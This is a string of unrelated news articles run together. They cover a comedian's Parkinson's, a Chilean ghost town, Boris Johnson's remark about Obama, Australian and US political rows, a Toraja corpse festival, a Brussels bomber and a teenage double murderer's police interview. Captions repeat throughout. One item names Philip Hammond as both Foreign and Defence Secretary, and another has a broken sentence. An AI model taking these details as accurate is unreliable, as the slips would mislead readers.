He plays the Beacon Theatre in New York next Wednesday followed by dates in Washington DC and Boston.

The Big Yin also said is now learning to play the harmonica to replace the banjo.

He said: 'My breathing is okay. I'm learning to play the harmonica, I'm pretty c*** but I'm getting there.

'I was a banjo player but the Parkinson's has f***** it. My left hand doesn't work properly.

'I also don't move as much on stage as I did. I stand kind of still.'

Support: Mr Connolly's wife Pamela Stephenson (pictured together) says her husband has been inspired by Michael J Fox's battle with illness

Last week, Connolly's wife Pamela Stephenson said his diagnosis had come as a great shock and told how movie star Michael J Fox had become a role model for him.

Fox, 54, who starred as Marty McFly in Back to the Future, was diagnosed with the degenerative disease in 1991 and went public in 1998.

He set up the Michael J Fox Foundation to speak up for sufferers and fund research into the incurable illness.

For confidential support call the Samaritans on 116123 or visit a local Samaritans branch, see www.samaritans.org for details.
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Deep in one of the driest deserts on Earth, an abandoned town which once housed thousands, sits as a reminder of an industry that transformed the Chilean people in the first half of the 19th century.

The Humberstone and Santa Laura Works were established in the 1800s in the Atacama Desert in Chile, 490miles from the capital Santiago. The works were built to exploit one of the worlds largest desposits of saltpeter - 'white gold' which was used in explosives and fertilisers.

After World War I a British blockade on saltpeter to Germany led to the production of synthetic alternatives and contributed to the collapse of the industry.

Eerie pictures of the once bustling community that has been reduced to a rusting ghost town, play as a reminder of Chiles rich history and show what became of the once thriving settlement.

Deep in one of the driest deserts on Earth, Humberstone and Santa Laura Works, which once housed thousands, sits as a reminder of an industry that transformed the Chilean people

Established in the late 1800s the region was at the site of the largest deposit of sodium nitrate or saltpeter in the world. This 'white gold' was used in explosives and later, fertilisers, transforming farming practices in America and Europe

After World War I a British blockade on saltpeter to Germany led to the production of synthetic alternatives and contributed to the collapse of the industry leaving the town rusted and deserted

Frozen in time, images of homes furnished with abandoned possessions lie decaying in the now deserted wasteland.

With the exception of a few tourists walking through the industrial graveyard the site is virtually empty of people.

Rusty machinery and a narrow-gauge railway, once used to transport the 'white gold' to the coast, remain as monuments to the golden age.

A theatre believed to be haunted sits in the centre of Humberstone alongside classrooms used by families that had lived in the region.

Eerie pictures of the once bustling community that has been reduced to a rusting ghost town, play as a reminder of Chiles rich history and show what became of the once thriving settlement. Picture of toys at a store have been restored in Humberstone for display

Frozen in time, images of homes furnished with abandoned possessions lie decaying in the now deserted wasteland

For a while in the late 19th and early 20th Centuries, almost all the saltpeter in the world came from the Atacama Desert

THE INDUSTRY THAT TRANSFORMED THE LIVES OF MANY CHILEAN PEOPLE AND SENT THEM TO WAR OVER 'WHITE GOLD' In the late 19th and early 20th Centuries, almost all the saltpeter in the world came from the Atacama Desert. Saltpeter is also known as 'white gold' and was in huge demand in the industrialising countries of Europe, which needed fertilizer to help grow food.

Humberstone was one of dozens of saltpeter towns, all of them stuck out in the vast and inhospitable Atacama.

In the early 1870s many of the other saltpeter towns belonged to Bolivia, although most of the companies that operated in the area were Chilean, backed by British investment.

In 1878, Bolivia increased their taxes on saltpeter and within weeks Chile and Bolivia were at war.

The War of the Pacific lasted four years and claimed thousands of lives but eventually the Chileans won.

When World War I broke out, the British blockaded exports of saltpeter to Germany which prompted the country to look for alternatives for the commonly used product.

The invention of a synthetic substitute that could be used to make fertilizer was one of the major reasons behind the collapse of the once flourishing industry. Advertisement

But for a while in the late 19th and early 20th Centuries, almost all the saltpeter in the world came from the Atacama Desert.

Humberstone was one of dozens of saltpeter towns, all of them stuck out in the vast and inhospitable Atacama.

In the early 1870s many of the other saltpeter towns belonged to Bolivia, although most of the companies that operated in the area were Chilean, backed by British investment.

Humberstone was one of dozens of saltpeter towns, all of them stuck out in the vast and inhospitable Atacama

In the early 1870s many of the other saltpeter towns belonged to Bolivia, although most of the companies that operated in the area were Chilean, backed by British investment

In 1878, Bolivia increased their taxes on saltpeter and within weeks Chile and Bolivia were at war. The War of the Pacific lasted four years and claimed thousands of lives but eventually the Chileans won making the now abandoned town the epicentre of the industry

In 1878, Bolivia increased their taxes on saltpeter and within weeks Chile and Bolivia were at war.

The War of the Pacific lasted four years and claimed thousands of lives but eventually the Chileans won.

When World War One broke out, the British blockaded exports of saltpeter to Germany which prompted the country to look for alternatives for the commonly used product.

The invention of a synthetic substitute that could be used to make fertilizer was one of the major reasons behind the collapse of the once flourishing industry.

Production fell to 10 per cent in Humberstone and by the 1950s it had nosedived to just 3 per cent and people that worked in the area started to look for new jobs.

When World War One broke out, the British blockaded exports of saltpeter to Germany which prompted the country to look for alternatives for the commonly used product

The invention of a synthetic substitute that could be used to make fertilizer was one of the major reasons behind the collapse of the once flourishing industry

A theatre believed to be haunted sits in the centre of Humberstone which was left abandoned much like the rest of the town

WHAT IS 'WHITE GOLD'? Saltpeter also spelt saltpeter is potassium nitrate that typical forms as Nitratine - a white, grey to yellowish brown mass. The rare crystals are found in very dry environments and is very soluble in water. Common uses for saltpeter include: Fertilizers

tree stump removal

rocket propellants and fireworks

One of the major constituents of gunpowder (blackpowder)

Used since the Middle Ages as a food preservative Advertisement

A LIST OF ALL THE UNESCO WORLD HERITAGE SITES IN CHILE World Heritage Convention is to ensure the protection of natural and cultural heritage in countries around the world Rapa Nui National Park

Churches of Chiloe

Historic Quarter of the Seaport City of Valparaiso

Humberstone and Santa Laura Saltpeter Works

Sewell Mining Town

Qhapaq Nan, Andean Road System source: UNESCO Advertisement

Humberstone was declared a national monument by the Chilean government in 1970 and became a Unesco World Heritage Site in 2005.

However, after years of earthquakes and vandalism, the town is now on the List of World Heritage in Danger.

The main concerns are the fragility of the now rusting buildings that were predominantly constructed using local materials that only functioned with regular maintenance.

Although the site is a virtually rain-free desert salt carried from the coast has had a major impact on the metal sheeting of the homes, causing corrosion.

The site is located 27miles from the port of Iquique and covers over 1000 acres of land.

Years of earthquakes and vandalism, the town is now on the List of World Heritage in Danger

Humberstone was declared a national monument by the Chilean government in 1970 and became a Unesco World Heritage Site in 2005

With the exception of a few tourists walking through the industrial graveyard the site is virtually empty of people

A tourist sits in an old classroom of the town which is an industrial graveyard for the pinnacle of the saltpeter industry during the 19th century

The main concerns are the fragility of the now rusting buildings that were predominantly constructed using local materials that only functioned with regular maintenance

Rusty machinery and a narrow-gauge railway, once used to transport the 'white gold' to the coast, remain as monuments to the golden age

Although the site is a virtually rain-free desert salt carried from the coast has had a major impact on the metal sheeting of the homes, causing corrosion

The property is a National Monument in the category of Historic Monument  the maximum level of protection of heritage in this country

Tourist are drawn to the dry scorching heats just to have a glimpse of the rich Chilean history

The saltpeter towns are a reminder for children and adults visitng of the importance these towns had during the later 19th century

Walking through the skeleton of the once beating heart of the saltpeter industry tourist can visit the old mining towns to see history frozen in time

A tourist walks by restored costumes for display to get a sense of what things were like during the golden age of the ghost town
Boris Johnson was accused of 'dog whistle racism' and likened to right-wing 'Tea Party' politicians in the US this morning after his attack on the 'part-Kenyan' Barack Obama.

The Mayor of London spoke out against the US President after he urged British voters to stay in the EU and mentioned his African ancestry as he criticised the decision to remove a bust of Sir Winston Churchill from the Oval Office shortly after Mr Obama entered the White House.

Mr Johnson - who is favourite to succeed David Cameron as Prime Minister - suggested the President got rid of the statue as a 'snub' to Britain's wartime prime minister and a 'symbol of the part-Kenyan President's ancestral dislike of the British empire'.

But Shadow Chancellor John McDonnell hit out at Mr Johnson and demanded he withdraw the controversial remarks.

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The Mayor of London (pictured outside his north London home this morning) spoke out against the US President after he urged British voters to stay in the EU and mentioned his African ancestry as he criticised the decision to remove a bust of Sir Winston Churchill from the Oval Office

He wrote on Twitter: 'Mask slips again. Boris part-Kenyan Obama comment is yet another example of dog whistle racism from senior Tories. He should withdraw it.'

This afternoon Mr Johnson defended his remarks and said he did not imply the US leader was anti-British.

Diane Abbott, Shadow International Development Secretary, hit out at Mr Johnson, describing his remarks as 'offensive' and said they echoed those of the Tea Party's right-wing, anti-immigration tendency in the US.

Former Lib Dem leader Lord Campbell said Mr Johnson's comments were 'an unacceptable smear'.

'Many people will find Boris Johnson's loaded attack on President Obama's sincerity deeply offensive,' Lord Campbell said.

'If this is an illustration of the kind of diplomacy that we might expect from a Johnson leadership of the Tory Party then heaven help us.'

Boris Johnson (left) suggested the US President (pictured left arriving in the UK last night) got rid of the Sir Winston Churchill statue as a 'snub' to Britain's wartime prime minister and a 'symbol of the part-Kenyan President's ancestral dislike of the British empire'

Shadow Chancellor John McDonnell hit out at Mr Johnson and demanded he withdraw the controversial remarks

Referring to the removal of Sir Winston's bust, Mr Johnson wrote in The Sun today : 'No one was sure whether the President had himself been involved in the decision,' he said.

'Some said it was a snub to Britain. Some said it was a symbol of the part-Kenyan President's ancestral dislike of the British empire - of which Churchill had been such a fervent defender.'

Asked later today if he intended to imply Mr Obama was anti-British, Mr Johnson said: 'Not at all, not at all.'

Speaking outside a Subway restaurant in his Uxbridge constituency, he added: 'Well I think obviously people will make of the article what they want.

OBAMA'S KENYA CONNECTION Barack Obama, 10, and his father, also named Barack Obama, who married at least three times The president's father, also named Barack Obama, is a Kenyan native. According to the younger Obama's memoir Dreams from My Father, Barack Obama Sr. met his mother Ann Dunham while attending college in Hawaii. The couple divorced after three years of marriage in 1964, and the president saw his father just one more time after that before his death in a car accident in 1982. The president's first known trip to Kenya, as detailed in his book, was in 1988, when he spent five weeks there. He returned to Kenya in 1992 with Michelle, then his fiance, and again in 2006 during his first year in the U.S. Senate. Mr Obama made his first visit to Kenya as US President last year when he flew to the east African country for the Entrepreneurship Summit. Advertisement

'The crucial point is that I'm a big fan of Barack Obama - I was one of the first people to come out in favour of him ages ago.

'But I think there's a weird paradox when the President of the Unites States, a country that would never dream of sharing its sovereignty over anything, instructs or urges us politely to get more embedded in the EU, which is already making 60% of our laws.

'I think the issue really is about democracy - America guards its democracy very jealously and I think we should be entitled to do so as well.'

Downing Street said Mr Johnson was recycling 'false' claims in referring to the bust.

Ukip leader Nigel Farage backed up Mr Johnson's claims.

He told The Guardian: 'Look, I know his family's background. Kenya. Colonialism. There is clearly something going on there.

'It's just that you know people emerge from colonialism with different views of the British. Some thought that they were really rather benign and rather good, and others saw them as foreign invaders.

'Obama's family come from that second school of thought and it hasn't quite left him yet.'

The White House has previously insisted there was no basis to suggestions that the removal of Sir Winston's statue was influenced by Mr Obama's views on colonialism.

Responding to Mr Johnson's controversial remarks, Ms Abbott said: 'Boris dismissing president Obama as 'half-Kenyan' reflects the worst Tea Party rhetoric'.

Mr Johnson's attack on the President came after Mr Obama's controversial decision to make a major intervention in the EU referendum campaign.

He wrote a lengthy article in the Daily Telegraph this morning setting out the case for Britain remaining in the EU.

He pleaded with British voters not to cut ties with Brussels - saying it 'magnified' the UK's influence in the world.

He also invoked the spirit of the Second World War by claiming the sacrifice of GIs meant America has a stake in the EU debate and said our decision in June's referendum 'will echo in the prospects of today's generation of Americans as well'.

But a furious Mr Johnson responded by saying: 'It is deeply anti-democratic - and much as I admire the United States, and much as I respect the President, I believe he must admit that his country would not dream of embroiling itself in anything of the kind.

'It is incoherent. It is inconsistent, and yes it is downright hypocritical. The Americans would never contemplate anything like the EU, for themselves or for their neighbours in their own hemisphere. Why should they think it right for us?'

His anger was echoed by a string of senior Eurosceptic MPs who vented their fury at David Cameron and Defence Secretary Michael Fallon over a warning that there would be celebrations by Moscow and the Islamic State 'in Raqqa' if the UK voted for Brexit.

Justice minister Dominic Raab said President Obama was guilty of 'double standards' because he would 'not dream of opening the US border and allowing free movement with Mexico and he would not dream of allowing the US constitution to be trumped by a Latin American court'.

President Barack Obama and his wife Michelle met Queen Elizabeth and Prince Phillip at Windsor Castle for lunch today

The US President left the American Ambassadors residence in the Beast (pictured) this morning as he made his way to Windsor Castle to meet the Queen

And he mimicked the US President by adding: 'Can Britain do better outside the EU? I would have to quote Mr Obama in saying 'Yes we can'.'

But Peter Westmacott, Britain's former ambassador to the United States, hit back at the charges of hypocrisy. 'No one is asking the UK to surrender anything it's got,' he told the BBC this morning.

'What the President is saying is not telling people how they should vote; he is saying we are in a very important place as a member of the EU and we should think very carefully on turning our back on that.'

Number 10 and the White House have orchestrated a pro-EU blitz to coincide with the US President's visit.

Mr Obama said a vote to cut ties with Brussels will leave Britain less able to tackle terrorism, the migration crisis and economic difficulties.

And he said Britain and America's 'special relationship was forged as we spilled blood together on the battlefield'.

OBAMA'S GIANT FAMILY: HOW US PRESIDENT HAS RELATIVES ALL OVER THE WORLD - MAINLY BECAUSE OF HIS PHILANDERING FATHER A family together: Barack Obama (back row, second left) with Granny Sarah (front, second right) in 1988 Barack Obama's giant family stretched across America, Europe and Africa, in large part because of his father. Barack Obama Sr married at least three times - four according to some people - and had at least seven children. And he was such a brazen womaniser he even bought mistresses home when his latest wife was asleep, loudly demanding the marital bed for his conquests. Little wonder he turned out such a disappointment to the boy who, against all odds, went on to become President of the United States. But one became leader of the free world, the other ended up crippled in car accidents caused by drink-driving and corroded by jealousy. Obama senior married Stanley Ann Dunham, a white student from Kansas and the president's late mother, at a time when interracial marriages were still illegal in many parts of the U.S. President Obama's mother met his father at a Russian language class at the University of Hawaii in 1960. At the time he was the first and only African student at the university. When they married, she did not realise that he had a wife and child in Kenya. He married Kezia Aoko in a tribal ceremony and had two children, Malik and Auma. Barack Sr and Ms Dunham divorced in 1963 and Ann Dunham struggled as a single mother to bring up her child, just as her estranged husband was at studying at Harvard and reportedly carousing after women. At the university he met Ruth Bake and they married in 1964 and had two sons, Mark and David. But seven years later they split up and divorced. He then reconnected with his first wife Kezia and they are believed to have had two more sons. The President was raised with help from his grandfather, a soldier, and grandmother who worked in a bank. The last time he saw his father was in 1971 when he was ten years old. Obama Sr was killed 11 years later in a car accident in 1982. Of his early childhood, President Obama has said: 'That my father looked nothing like the people around me - that he was black as pitch, my mother white as milk - barely registered in my mind.' Advertisement

After meeting the Queen at Windsor Castle for lunch to celebrate Her Majesty's 90th birthday, Mr Obama will travel to Whitehall for meetings with government ministers, but none of them will disagree with his EU referendum intervention referendum.

Despite the Government and Conservative Party being deeply split over Brexit, all the senior ministers invited by David Cameron to take part in the hour-long bilateral meeting back continued EU membership.

On the guest list are all the holders of the so-called 'great offices of state' with Chancellor George Osborne, Home Secretary Theresa May, Foreign Secretary Philip Hammond and Defence Secretary Philip Hammond.

Not expected to be at the meeting are Northern Ireland Secretary Theresa Villiers - who might be expected to raise the continued support of the US for the peace process - or Justice Secretary Michael Gove, who has responsibility for some aspects of international justice policy.

Barack Obama has met David Cameron and his senior ministers in Downing Street before, five years ago in 2011. Today he will face senior ministers - all of whom support the EU

Mr Cameron will have a brief private meeting with the President accompanied just by key aides before the main bilateral meeting begins.

Topics expected to be under discussion include the battle against ISIS in Iraq and Syria, the continued instability in Libya and the migration crisis in Europe.

The two leaders will continue their talks at a meeting of the G5 group in Germany on Monday when German Chancellor Angela Merkel, French President Francois Hollande and Italian Premier Matteo Renzi will meet.

Responding to Boris Johnson's remarks Sir Stephen Wall, former British Permanent Representative to the European Union, said: 'Boris Johnson's comment implying the President of the United States is driven by his ancestral dislike of the British empire is demeaning to the debate. Using that type of language does not reflect Britain's standing in the world or the country we aspire to be.
Comments should not come from someone 'not actually in politics', he said

But instead independent MP Cathy McGowan was elected, losing the funds

Liberal candidate Sophie Mirabella has been slammed by the deputy prime minister for comments she made about a hospital losing federal funding because she wasn't elected.

Deputy Prime Minister Barnaby Joyce said on Friday that former federal MP Ms Mirabella had no place to comment on federal funding, especially from someone 'who's not actually in politics', according to the ABC.

The former federal Liberal MP told a live Sky News television audience on Thursday night that the people of the Indi electorate had lost $10 million funding to upgrade the Wangarratta Hospital because independent MP Cathy McGowan was elected.

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Deputy Prime Minister Barnaby Joyce said on Friday that former federal MP Ms Mirabella had no place to comment on federal funding

'That is $10 million that Wangaratta hasn't had because Cathy got elected,' The former federal MP told a live Sky News television audience on Thursday night

Ms Mirabella held the Victorian seat of Indi for 10 years before she was trumped by Ms McGowan (pictured) in the 2013 election

'I had a commitment for a $10 million allocation to the Wangaratta hospital that if elected I was going to announce a week after the election,' she said during the Sky News interview. 'That is $10 million that Wangaratta hasn't had because Cathy got elected.'

Mr Joyce was quick to set the record straight and said Ms Mirabella had been out of line.

'It's certainly not (up to) someone who's not actually in politics,' he said in the news report.

Health Minister Sussan Ley chimed in and said she was not aware of any public commitment for Wangaratta Hospital to receive a $10 million upgrade, according to the report.

But Treasurer Scott Morrison said no public funding commitment was ever provided and that Ms Mirabella.

Ms Mirabella held the Victorian seat of Indi for 10 years before she was trumped by Ms McGowan in the 2013 election.

Mr Joyce was quick to set the record straight and said Ms Mirabella had been out of line.

Also during the interview Ms Mirabella challenged Ms McGowan to deny reports she was pushed at an event last week.

The Benalla Ensign newspaper reported that Ms Mirabella had pushed Ms McGowan to stop her from having a photograph taken at a function in the north-eastern Victorian electorate of Indi last Friday.

Ms Mirabella challenged Ms McGowan during a live television interview on Thursday night to deny the report, but Ms McGowan responded by saying 'I think I'd actually rather leave it, Sophie; I think it's a time for another place.'

Also during the interview Ms Mirabella challenged Ms McGowan to deny reports she was pushed at an event last week




House Republicans have sidestepped the divisive fight over displays of the Confederate battle flag at the U.S. Capitol with plans to put up state coins instead.

Rep. Candice Miller, R-Mich., who heads the House Administration Committee, announced on Thursday that reproductions of commemorative quarters depicting the 50 states, District of Columbia and the territories will line the wall between the Capitol and the Rayburn House Office Building.

'A print of each state's commemorative coin will be tastefully displayed for this highly trafficked area, as each quarter serves as a reminder of the ideals, landmarks and people from each state, as well as this nation's great motto, 'out of many, one,'' Miller said in a statement.

House Republicans sidestepped the divisive fight over displays of the Confederate battle flag at the U.S. Capitol with plans to put up state coins instead. State flags hang in the US Capitol along the Senate Subway

Rep. Candice Miller, R-Mich., (pictured) who heads the House Administration Committee, announced reproductions of commemorative quarters depicting the 50 states, District of Columbia and the territories will line the wall between the Capitol and the Rayburn House Office Building

The walls previously displayed state flags, and Mississippi's includes an image of the Confederate battle flag.

Democrats complained last year that the flag celebrates a murderous, racist past in the nation's history.

The Republican-controlled House was forced to scrap a vote on permitting the Confederate flag at Park Service-run cemeteries in a fierce fight over the issue.

Last July, South Carolina removed the confederate flag from statehouse grounds after 54 years, a move that came weeks after nine people at an historic black church in Charleston had been shot and killed.

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The walls previously displayed state flags and Mississippi's includes an image of the Confederate battle flag (pictured). Democrats complained the flag celebrates a murderous, racist past in the nation's history

Miller said a print of each state's commemorative coin will be displayed on the walls, saying each quarter serves as a reminder of the ideals, landmarks and people from each state (US Capitol pictured)

The Confederate battle emblem has been on the Mississippi flag since 1894 and voters chose to keep the design in 2001.

Since the Charleston slayings, several Mississippi cities, counties and colleges have stopped flying the banner.

Rep. Bennie G. Thompson, D-Miss., welcomed the decision, saying the 'symbols of hatred and bigotry' will no longer be displayed in the esteemed halls of the U.S. House.

'I can only hope that this understanding will somehow reach the hearts and minds of the elected officials in the state of Mississippi, and they will follow suit and rid our state of this ultimate vestige of slavery and bigotry,' Thompson said.

Miller said that given the 'controversy surrounding confederate imagery, I decided to install a new display.'
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An Indonesian community has begun celebrations of an annual festival honouring the dead which sees hundreds of centuries-old corpses exhumed, dressed in clothes and put on display.

The preserved bodies of ancestors of the Toraja, an ethnic group from the mountains of South Sulawesi in Indonesia, are lovingly dug up from their graves as part of the ancient Ma'nene festival.

The annual festival, which translates to 'the Ceremony of Cleaning Corpses', then sees the dead groomed, washed, dressed in fashionable new clothes and even sunglasses and paraded round the village.

All dressed up: A Toraja woman has dressed the corpse of a relative in a fashionable snapback cap and sunglasses for the village's annual Ma'nene festival

Bizarre tradition: After the corpses are removed from their graves, they are groomed and dressed before paraded round the village

Joining the fun: Centuries-old corpses are exhumed, dressed in clothes and put on display in the Toraja ritual honouring the dead

The scenes might appear gruesome but for the Toraja people, who consider funerals the most important event of their lives, the festival is a celebration.

Photographer Herman Morrison made the trip from Indonesian island Lombok, where he lives, to capture the peculiar ceremony on camera.

Mr Morrison, 33, said: 'I live in Lombok, Indonesia, and I travelled to Sulawesi to photograph the Ma'nene festival.

'The ritual is held yearly and is regarded as a manifestation of the Torajanese's love for their ancestors, leaders and relatives who have died.

'The age of the corpses varies, but some are more than 100 years old. The bodies are taken from their graves by their families then cleaned and washed. Their clothes are replaced and then the bodies are put back in the ground.

'Some of the deceased men are dressed up in suits and ties. It was an amazing sight to witness.'

The corpses of a woman and a child have been dressed and propped up, left, and right, a man takes a corpse round the village

Ma'nene, which translates to 'the Ceremony of Cleaning Corpses', sees the dead groomed, washed and dressed in fashionable new clothes

Tradition: Relatives are seen removing the corpses from their graves in the side of the mountainous hills

Preparations: A woman is cleaning the corpse of a long-since departed male relative to prepare the dead body for the festival
Two California university lacrosse players were arrested for allegedly abducting a turkey from a high school and taking it on a drunken bender.

Steven Thomas Koressel, 23, and Richard Brenton Melbye, 21, were arrested on suspicion of theft on Monday and booked into Orange County jail.

The pair, who are students at the private Chapman University in Orange, were released the following day on their own recognizance, KTLA reports.

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Steven Koressel (left) and Richard Melbye (right) were arrested for allegedly abducting a turkey from a high school and taking it on a drunken bender

Police said five-year-old Tim was last seen at 5pm in Orange High Schools agricultural area on Saturday, April 16.

When students went to tend to the farm animals at 7am the following morning, he was missing. That evening, a resident reported finding a turkey to the Orange County Animal Care.

The turkey was found with multiple injuries and had problems with breathing, the Orange County Register reported.

Most of his feathers were missing or cut off, he smelled of beer and was covered in a black, sticky substance. He is now recovering in an animal hospital.

Five-year-old Tim (pictured) was last seen at 5pm in Orange High Schools agricultural area on April 16

'He smelled like beer and had been wet, his feet were damaged and his whole tail plump had been ripped out,' Patti Williams, Orange High School's agriculture teacher, told the Register.

'He was pretty stressed.'

Tim is an American heritage Slate turkey, which is considered a threatened species by the Livestock Conservancy.

In a statement, Chapman University said the students involved will face disciplinary actions, but did not elaborate further.

The turkey was found the following day with multiple injuries, had most of its feathers missing or cut off and smelled of beer

Two Chapman students have been identified and arrested by the Orange Police Department in the incident in which the turkey was abducted from Orange High School.

The University will also undertake the appropriate disciplinary actions according to our Student Conduct Code.

It added: 'Due to federal student privacy laws (FERPA), the University cannot identify the students or reveal details of the institutions disciplinary actions  however, the University will not tolerate any instances of theft, animal abuse or cruelty, is appalled by this behavior, and takes this issue extremely seriously.'
Descendants of an Aboriginal warrior say they are insulted by the British Museum's offer to loan his shield back to Australia.

Rodney Kelly and his family told the ABC the artefacts, the Gweagal shield and several spears, were taken by Captain James Cook.

Mr Kelly said the items belonged to his sixth great-grandfather, a tribal warrior called Cooman, who came into contact with Captain Cook in Botany Bay in 1770.

The Kelly family are 'disgusted' with the British Museum after the offered to loan them their ancestor's shield (pictured), which appeared earlier this year at the National Museum in Canberra

He said his family requested the museum return the items when the shield was bought to Australia for an exhibition at the National Museum earlier this year.

Mr Kelly said they wrote to the deputy director of the museum, Jonathan Williams, who offered to loan the artefacts back to Australia in the future.

He said they were disgusted at the letter.

Rodney Kelly (pictured) said his family wrote to the deputy director of the museum, Jonathan Williams, who offered to loan the artefacts back to Australia in the future

'It's well documented that the artefacts were taken, it disgusts us that we can only get a loan of them,' Mr Kelly said.

Mr Kelly said the items belonged in Sydney where they originally came from, and he would like the shield and spears on display for the Australian public.

Arrente elder uncle Chris 'Pulthari' Tomlins told the ABC that the museum refusing to return the items was an example of the continued impact of colonisation on Aboriginal Australians.

'The shield symbolises the first of the frontier wars that started in this country and that are still continuing on today,' he said.

Mr Kelly said the shield and spears belong in Sydney and he wants them to be on display for the public, instead of being in the British Museum (pictured)
Secretary of State John Kerry is expected to finalize a trade with Iran on Friday, agreeing to buy 32 tons of nuclear material from the country worth $8.6million.

Department of Energy officials confirmed the agreement to the Wall Street Journal, saying the deal is to help Iran maintain its pledge to reduce its nuclear stockpile.

Iran is reportedly struggling to find buyers for its stock of heavy water, a close chemical relative of water that is used in the production of nuclear weapons and energy.

This is problematic since Iran is supposed to be quickly getting rid of its heavy water supply in accordance with its new nuclear deal.

Obama Administration officials have allegedly agreed to make a one-time purchase of heavy water as a vote of confidence in Iran's product so that other countries and private companies feel comfortable buying heavy water from Iran in the future.

Secretary of State John Kerry is expected to finalize a trade with Iran on Friday, agreeing to buy 32 tons of nuclear material from the country worth $8.6million. Pictured: The Arak heavy-water project, 120 miles southwest of Tehran

'The idea is: Okay, we tested it, its perfectly good heavy water. It meets spec. Well buy a little of this,' U.S. Energy Secretary Ernest Moniz told the Journal. 'That will be a statement to the world: "You want to buy heavy water from Iran, you can buy heavy water from Iran. Its been done. Even the United States did it."'

The deal is expected to be finalized on Friday in a meeting between Secretary of State John Kerry and his Iranian counterpart Javad Zarif in Vienna.

Iran will ship the 32 tons of heavy water to the Oak Ridge National Laboratory in Tennessee in the coming week, which will use the product in experiments. It also could be sold to private companies in the U.S.

Critics of the nuclear accord in Iran are equally as skeptical about the heavy water purchase.

House Foreign Relations Committee Chairman Ed Royce, a Republican representative of California, wrote Moniz earlier this week, asking him to detail how the U.S. would be paying the heavy water (since Iran is still not allowed to deal in U.S. currency) and make sure that funds from the deal do not end up benefiting military or terrorist groups.

'What assurances can you provide that U.S. taxpayer funds that Iran receives through this purchase will not be used to fund Irans nuclear programor Tehrans destabilizing activities in Iraq, Syria Lebanon and elsewhere?' Royce wrote.

Other critics say that the purchase is in reality subsidizing the Iranian government just to keep the nuclear deal alive.

'We shouldnt be paying them for something they shouldnt be producing in the first place,' said David Albright, head of the Institute for Science and International Security, a Washington think tank.

Moniz maintains that this will be a one-time deal for the American government, but says American companies will be free to purchase heavy water from Iran in the future.

Currently, the U.S. doesn't produce heavy water, but imports about 75 tons annually from other countries like Canada
When it comes to bad days at work, a Mississippi elementary school teacher knew all about it this week, after an unexpected creature dropped into her lesson.

Pandemonium is said to have broken out in the classroom at Walls Elementary School after the snake fell from the ceiling during the lesson.

It is said to have landed right next to the teacher's desk, giving her quite a shock. While the snake was quickly caught and the situation brought under control, it has raised bigger concerns that the school may be infested.

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Ssssssurprise! This is the snake that fell into the classroom from this ceiling at Walls Elementary School in Mississippi this week

Rural area: The school campus is located on a big field, which was recently plowed, causing snakes and frogs to move from their homes

The reason why the school is getting so much of the reptiles' attention is that the campus is located in a field.

'They're plowing this time of year and it makes the snakes and frogs and everything else move out of the area,' John Thompson, a grandfather of one of the students, told NBC News.

'I don't understand how it could have got up in the ceiling though. It may have crawled into the duct work or something,' he said.

The Memphis Zoo said the snake was a harmless gray rat snake.

'She must have got quite a shock': John Thompson is the grandfather of one of the students at the school

The school is located right by a field and is surrounded by thick long grass, the perfect breeding ground for snakes and other reptiles

The school has now sprayed snake repellent on the grounds to try to fend off any other snakes that might be hanging around.

The school district is not concerned about a snake problem, saying that it is the only case that has been reported.
One of the Brussels suicide bombers has been identified as a former ISIS prison guard by a former French hostage in Syria.

Najim Laachraoui, 24, blew himself up at Brussels airport on March 22 in a carefully choreographed ISIS attack in which 32 people were killed at the airport and a metro station in the city.

Laachraoui, a Belgian national, has now been identified as Abou Idriss, one of several men who guarded them in an ISIS prison camp in Syria between 2013 and 2014.

Najim Laachraoui has now been identified as Abou Idriss, a former ISIS prison guard in Syria who travelled back to Europe and back a bombmaker before finally blowing himself up at Brussels airport

French journalist, Nicolas Henin, was freed in April 2014 and his lawyer Marie-Laure Ingouf confirmed reports in French newspapers that her client had identified Laachraoui.

Belgian prosecutors have said Laachraoui travelled to Syria in February 2013 to join up with ISIS.

He remained off the radar of until September 2015 when he was registered under a false name at the border between Austria and Hungary.

Prosecutors have also linked Laachraoui to November's attacks in Paris in which 130 people died.

They said his DNA was found on a suicide vest and a piece of cloth at the Bataclan concert hall where 90 people were killed.

Police also found his DNA on explosives used at the Stade de France, leading investigators to believe he made the bomb used in both attacks.

Laachraoui was publicly identified as a suspect in the Paris attacks for the first time on March 21, only hours before the Brussels attacks. It is thought his unmasking may have forced him to bring forward the attacks.

Najim Laachraoui (left) seen with fellow suicide bomber Ibrahim El Bakraoui at Brussels airport shortly before they detonated suicide bombs on March 22. The so-called 'man in the hat', Mohamed Abrini, right, has since been arrested but has played down his role

In its own magazine, Dabiq, ISIS admitted Laachraoui was Abou Idriss and was a key player in both the Paris and Brussels attacks.

The French hostages previously identified Mehdi Nemmouche as one of their ISIS guards. Nemmouche is awaiting trial for killing four people in an attack on the Jewish museum in Brussels in 2014.
A teenage killer who knifed two strangers to death coldly demonstrated to police officers how he murdered his first victim.

James Fairweather was just 15 when he killed disabled father-of-five James Attfield - stabbing him 102 times including in the eyes - in March 2014.

Then three months later the disturbed teen killed Saudi student Nahid Almanea as she walked from her home.

In a chilling video released by Essex Police of their interview with Fairweather when he was arrested in May 2015, he demonstrates how he repeatedly knifed his 33-year-old victim.

A shocking video of police interview with double murderer James Fairweather shows him demonstrating how he killed his first victim

Fairweather confessed to both killings in Colchester, Essex, but claimed voices told him to sacrifice the pair for committing sins.

The 38-second clip of his police interview shows Fairweather telling an officer: 'The voices were talking to me and you need to make a sacrifice or we are coming to get you, you need to do it, and I saw him.

'He was laying on the grass, [leans back to show how he was laying down] fast asleep where he was drunk and he goes 'your the one, he's the one, do it, do it' so I went over to him.'

Asking the interviewing officer, 'can I stand up?' The teen then mimics how he ruthlessly stood over this victim and repeatedly knifed him in the stomach.

He added: 'I went up to him like that [making a stabbing motion towards the ground] I first stabbed him there [as he rubs his upper stomach area], I stabbed him a few times [making a stabbing motion].

'While I was doing that my voices were laughing and laughing, getting louder and louder.'

Fairweather denied murder but has admitted manslaughter due to diminished responsibility, but was found guilty of murder by a jury today. He will be sentenced at Old Bailey in London next Friday.

Fairweather showed how victim Mr Attfield was lying down in a park when he found him and attacked

Police officials have told how the violence of the killing shocked the town of Colchester in Essex

During the two-week trial, Guildford Crown Court heard he was 'turned on' by the Yorkshire Ripper and US mass murderer Ted Bundy.

He also played violent video games and had rape fantasies which involved tying up and beating women. He will be sentenced at Old Bailey in London next Friday.

Steve Worron, Assistant Chief Constable of Essex Police, said after the verdicts: 'The brutal manner in which they both died sent shock-waves through the community in Colchester and far beyond.

